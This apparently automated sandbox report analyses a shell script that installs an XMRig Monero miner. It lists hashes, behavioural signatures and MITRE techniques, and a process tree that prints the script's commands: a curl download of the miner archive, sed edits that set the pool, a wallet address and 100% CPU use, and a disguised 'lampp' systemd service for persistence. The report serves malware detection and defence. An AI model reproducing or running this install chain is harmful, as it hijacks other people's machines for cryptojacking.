Analysis

  • max time kernel
    2s
  • max time network
    580s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:10

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2473
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2477
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2478
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2481
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:2482
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2487
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2488
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2489
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2489
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2489
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2489
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:2490
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:2491
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2492
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:2497
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:2495
                              • /usr/bin/cut
                                cut -f1 -d.
                                2⤵
                                  PID:2496
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2498
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:2499
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-5\",/" /root/lampp/config.json
                                      2⤵
                                        PID:2500
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:2501
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                            PID:2502
                                          • /usr/bin/sed
                                            sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                            2⤵
                                              PID:2503
                                            • /usr/bin/sed
                                              sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                              2⤵
                                                PID:2504
                                              • /usr/bin/cp
                                                cp /root/lampp/config.json /root/lampp/config_background.json
                                                2⤵
                                                  PID:2505
                                                • /usr/bin/sed
                                                  sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                  2⤵
                                                    PID:2506
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:2507
                                                    • /usr/bin/chmod
                                                      chmod +x /root/lampp/miner.sh
                                                      2⤵
                                                        PID:2508
                                                      • /usr/bin/sudo
                                                        sudo -n true
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:2509
                                                        • /usr/bin/true
                                                          true
                                                          3⤵
                                                            PID:2510
                                                        • /usr/bin/grep
                                                          grep MemTotal /proc/meminfo
                                                          2⤵
                                                            PID:2512
                                                          • /usr/bin/awk
                                                            awk "{print \$2}"
                                                            2⤵
                                                              PID:2513
                                                            • /usr/bin/cat
                                                              cat
                                                              2⤵
                                                                PID:2514
                                                              • /usr/bin/sudo
                                                                sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2515
                                                                • /usr/bin/mv
                                                                  mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2516
                                                              • /usr/bin/sudo
                                                                sudo killall xmrig
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2517
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2518
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                  PID:2519
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:2520
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl enable lampp.service
                                                                    2⤵
                                                                    • Reads runtime system information
                                                                    PID:2643
                                                                    • /usr/bin/systemctl
                                                                      systemctl enable lampp.service
                                                                      3⤵
                                                                        PID:2644
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl start lampp.service
                                                                      2⤵
                                                                        PID:2768
                                                                        • /usr/bin/systemctl
                                                                          systemctl start lampp.service
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:2769

                                                                    Network

                                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                                    Defense Evasion

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    Discovery

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    System Information Discovery

                                                                    3
                                                                    T1082

                                                                    Command and Control

                                                                    Web Service

                                                                    1
                                                                    T1102

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • /root/lampp/config.json
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      f3294129e6b76283965ad86a815bf383

                                                                      SHA1

                                                                      5fe0ab538f86962efe82cb13fc2da745610740af

                                                                      SHA256

                                                                      578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                      SHA512

                                                                      07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                    • /root/lampp/miner.sh
                                                                      Filesize

                                                                      253B

                                                                      MD5

                                                                      f96a321a262287ceae164f23f232ed9c

                                                                      SHA1

                                                                      d1eeab41f244b42377afd7cc3de7428736162b24

                                                                      SHA256

                                                                      f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                      SHA512

                                                                      75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                    • /root/lampp/sedCvP5ZJ
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      d489ddbbb83271e967b8af615d17d3c7

                                                                      SHA1

                                                                      f0394a367a60e9727269882154098dec802774ef

                                                                      SHA256

                                                                      5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                      SHA512

                                                                      aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                    • /root/lampp/sedGhC3U0
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      bf64eee4710318965de700fd26116941

                                                                      SHA1

                                                                      d307b6cccc6b9f3569869348ed3360d854b936d3

                                                                      SHA256

                                                                      50dbf84ed8faef10aea96fb0adae36eba006760ef82e42c9ea6a64c2d5863c43

                                                                      SHA512

                                                                      adee444eafa8b31c7fcc0867d62a590330e8040fd3767cc2ef55e3bcb387a7590383cfe0fd9a40fc3c8a352b6279e986320f1d50dc34e6207c7dbfa7b5d221a5

                                                                    • /root/lampp/sedR7DOzy
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      80d16936e3737609d15832bf94720a68

                                                                      SHA1

                                                                      bc4396bcaef0b7077e2ee8ac29d315c223ebd790

                                                                      SHA256

                                                                      dd9c6d53e45710a52c1d2d4d0fd9ebc329fa148d3d3b7267213b02a96b6f2984

                                                                      SHA512

                                                                      27fdca4291a9337c3c7ce5406d8d7f7cf9edfe313c88685763c76de9c22d4d99ee75a70d947be2777bec19f17194afb1ec39969fec3b13a6a91b4bb0c82349a5

                                                                    • /root/lampp/sedSX4i6b
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      06ed5d44497dc95365b5601e182f3732

                                                                      SHA1

                                                                      e002638f172a42c9ec936e464f87e1ca554d532f

                                                                      SHA256

                                                                      c6b9a5c536a30ed7c0bff32712a0f6c5c88ee0af52e6537b9ed5cd6bb6d7f8b8

                                                                      SHA512

                                                                      8024eaebd05f81f2aa0b22fc1970182c46e02c30ec9c20741b60db2019665cc390ca7b18d4f9144cfad318bce88d0d6175768f2803638f649a7e746a2b6c145c

                                                                    • /root/lampp/sedh2PkQd
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      8b11b027dd187104473ee7d661ffe25f

                                                                      SHA1

                                                                      ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                      SHA256

                                                                      984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                      SHA512

                                                                      1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                    • /root/lampp/sedmlLMdu
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      e36e9e35fa02491631ab07b9acdfd73d

                                                                      SHA1

                                                                      c0f3b00071bef6288052728a68bd64fab336a622

                                                                      SHA256

                                                                      e00211ee0ab896965044eebdac2bd92ad120c2b3437b38c771c0c284caa4d866

                                                                      SHA512

                                                                      9a4dbf8d0227f9c6adf1695653bf58efde78969b5faa2ff667eb1048e7da38a20f3fefbb55d1d7e92769b27c656b88832e60cf3fde8fa63bb6a52624bd684f71

                                                                    • /root/lampp/xmrig
                                                                      Filesize

                                                                      8.4MB

                                                                      MD5

                                                                      e6b2f9d13d45c128b44cb5405df9ab39

                                                                      SHA1

                                                                      c07326f69240e3d22d134d156528af3bd5d0497b

                                                                      SHA256

                                                                      96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                                      SHA512

                                                                      4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                                    • /tmp/lampp.service
                                                                      Filesize

                                                                      177B

                                                                      MD5

                                                                      540c899b78585827e807a62f7345eaf5

                                                                      SHA1

                                                                      8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                      SHA256

                                                                      b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                      SHA512

                                                                      0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                    • /tmp/xmrig.tar.gz
                                                                      Filesize

                                                                      3.4MB

                                                                      MD5

                                                                      e003a3ec8bdd61151a61cadf950502c4

                                                                      SHA1

                                                                      2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                      SHA256

                                                                      80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                      SHA512

                                                                      ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9